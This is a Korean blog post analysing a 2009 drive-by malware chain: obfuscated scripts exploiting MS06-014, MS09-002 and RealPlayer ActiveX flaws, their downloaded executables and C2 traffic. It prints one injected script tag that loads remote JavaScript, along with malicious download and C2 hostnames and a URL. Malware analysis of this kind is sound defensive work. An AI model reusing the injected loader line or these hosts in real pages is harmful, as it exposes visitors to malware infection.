본문 바로가기
정보보호 (Security)

여러가지 취약점으로 공격하는 악성 스크립트 분석

by 날으는물고기 2009. 3. 5.

여러가지 취약점으로 공격하는 악성 스크립트 분석

출처 : http://malwarelab.tistory.com/


엊그제 네x버의 SecurityPlus 까페에 갔다가 획득하게 된 파일들입니다.

다운 받은 파일은 html과 js 파일이었는데 결국 하나의 파일을 통해 iframe이나 script로 연결된 파일들이었습니다.

가장 먼저 나오는놈부터 보겠습니다.

help.htm
<script src=http://125.xxx.xxx.xxx/ad/bir.js></script>
<script src="http://s17.cnzz.com/stat.php?id=1255205&web_id=1255205" language="JavaScript" charset="gb2312"></script>

bir.js 파일이 script 태그를 통해 삽입되고 있습니다. 바로 아래에는 익숙한 도메인이 보이는군요.. 현재 두번째 스크립트는 스크립트로써 동작하지 않고 그냥 텍스트 형태로 문자열만 보이고 있습니다.

그럼 bir.js 파일을 보도록 하겠습니다.



그냥 딱 보기에도 악성스크립트인게 보입니다. 정상적인 스크립트라면 이런식으로 인코딩하지 않겠죠..
뭔가 구린게 있으니 인코딩을 하는거겠죠?

인코딩된 내용을 디코딩해보니 브라우져가 MSIE 7버전이 아닌 경우에 MS06-014 취약점을 찾고 취약점이 있을 경우 tmg.htm 파일을 iframe으로 삽입합니다.
그리고 RealPlayer의 취약점을 찾고 RealPlayer의 버전이 6.0.14.802일 경우 so.htm을 6.0.14.552일 경우 sso.htm을 iframe으로 삽입합니다.
마지막으로 ie.htm을 iframe으로 삽입합니다.

결국 이 파일은 MS06-014 취약점과 RealPlayer 6.0.14.802와 6.0.14.552 버전의 취약점을 공격하는 스크립트입니다.


이번엔 is.htm 파일입니다.




첫번째 빨간 네모 안의 인코딩된 데이터는 쉘코드인 듯 합니다.
is.htm 파일의 처음부터 빨간 네모 있는 부분까지는 MS09-002 취약점을 공격하는 코드가 아닌가 생각됩니다.(방립동님 감사~)
방립동님께서 조언해주시면서 알려주신 사이트입니다. 참고하시면 도움이 되실듯...
http://www.hacker.com.cn/article/view_15004.html
http://blog.sina.com.cn/s/blog_4cbae5c50100c46d.html

혹시 이부분이 틀렸다면 지적해주세요~

그리고 두번째 빨간 네모 안의 인코딩된 데이터는 XML 파싱 취약점을 공격하는 코드입니다. 두번을 디코딩하면 다음과 같은 코드가 나옵니다.




이번에는 tmg.htm 파일입니다.



원래는 이것보다 더 길게 나오는데 짤렸습니다. tmg.htm은 packer로 패킹을 했기 때문에 언팩을 해야 합니다. 리버싱에서의 언팩이 아닙니다...-_-;;
http://dean.edwards.name/packer 에 가시면 패킹도 가능하고 언팩도 가능합니다.

언팩을 해보면




이번에도 디코딩해야 할게 두개가 있습니다. 하나는 실제 실행될 악성코드를 다운 받을 URL이구요 하나는 CLSID입니다. CLSID로 구글신께 질뭉을 드리면 MS06-014 취약점이라고 대답해주십니다.(구글신 만쉐~)

일단 URL의 파일을 받아 봤습니다. 그리고 실행해봤습니다.(꼭 vmware에서 하시기 바랍니다)

먼저 동일한 사이트(http://www.pinganye.net)에서 뭔가를 열심히 받아옵니다.



일단 다운 받을 파일의 목록(/css/img/List.txt)을 가져온 다음 파일을 받아옵니다. (maz.exe, daz.exe, haz.exe, paz.exe, oaz.exe)

Winalysis로 시스템 스냅샷을 뜬 후 img.exe를 실행하기 전과 비교해보니 상당히 많은 변화가 생겼습니다.
파일이 총 8개가 새롭게 생성되었고 레지스트리는 말할 것도 없습니다. 그리고 새로운 서비스도 생겼습니다.






아무래도 새로 생성된 8개의 파일은 다운 받았던 6개의 파일에 의해 생성된 듯 합니다. 그리고 서비스를 직접 확인해 봤습니다.






공격자들이 자주 애용하는 svchost -krnlsrvc가 보이구요
Windows Hardware Card는 설명이 너무 눈에 띄게 특이 하군요...-_-;;

우리의 영원한 동반자이자 친구인 Process Explorer에게 물어봤습니다... 쟤네들 도대체 지금 무슨 짓을 하고 있는지...




한놈은 계속 연결되어 있는데 한놈은 연결됐다가 끊기고를 반복하고 있었습니다.




http://sharetitt.3322.org:9012/20090030004/21000904/5366250.jsp 를 계속 요청하지만 sharetitt.3322.org는 없다고 합니다. 계속 RST 패킷만....


[추가증상]
저는 분석 시스템에서 보통 시스템폴더, 보호된 운영체제파일, 숨김파일등이 보이게끔 설정을 하곤 합니다. (개인노트북도 그렇지만...)
그런데 img.exe 이녀석...계속 숨김파일 및 폴더는 표시안함으로 설정을 되돌리는군요..
이러다간 다른 악성코드들까지 잘못하면 안보이겠네요..


Wireshark로 뜬 패킷 중에 DNS 질의하는 놈들만 골라봤습니다. 총 4개의 도메인을 질의하는데 그 중 한놈은 없다고 하네요...



www.honggu2009.com은 질의만 할 뿐 다른 행동은 하지 않았고 srily.vicp.net은 sharetitt.3322.org와 아이피가 같았습니다.
3322.org야 막혀 있으니 상관 없는데요 srily.vicp.net은 아직 sink hole 처리가 되어 있지 않군요.. 도메인 차단해야 할 듯 합니다.


img.exe 실행하면서 캡쳐했던 패킷은 첨부하겠습니다.


html 코드만 볼려다가 갑자기 이야기가 삼천포로 빠졌군요...-_-;;


다음은 so.htm과 sso.htm 파일입니다. 실제 파일 내용은 더 길지만 지면 관계상 짧게 잘랐습니다.






둘 다 RealNetworks RealPlayer ActiveX controls 취약점을 공격하는 코드입니다.
sso.htm 내용중 빨간색으로 표시된 부분 보이시죠? 유치한 방법을 사용했습니다.

"IEaaR"+"PCaaatl.I"+"EaaaRP"+"Ctaaal.1" 라고 쓴 후 바로 아래에서 a 라는 글자를 없애버립니다. 그런 IERPCtl.IERPCtl.1이라고 변환이 됩니다.
별게 아니라 생각되지만 점점 복잡하게 꽈놓는게 공격자들의 성향인 듯 합니다. 앞으로가 걱정...


마지막으로 ie.htm은 FlashPlayer 버전을 확인한 후 Antivir 백신의 설치와 업데이트를 방해합니다.(SecurityPlus musicalmman님)




마지막에 파란색으로 된 부분은 패킹되어 있는 부분입니다. 패킹을 풀면 플래시플레이어의 버전에 따른 행동들을 지정하고 있습니다.
728x90

댓글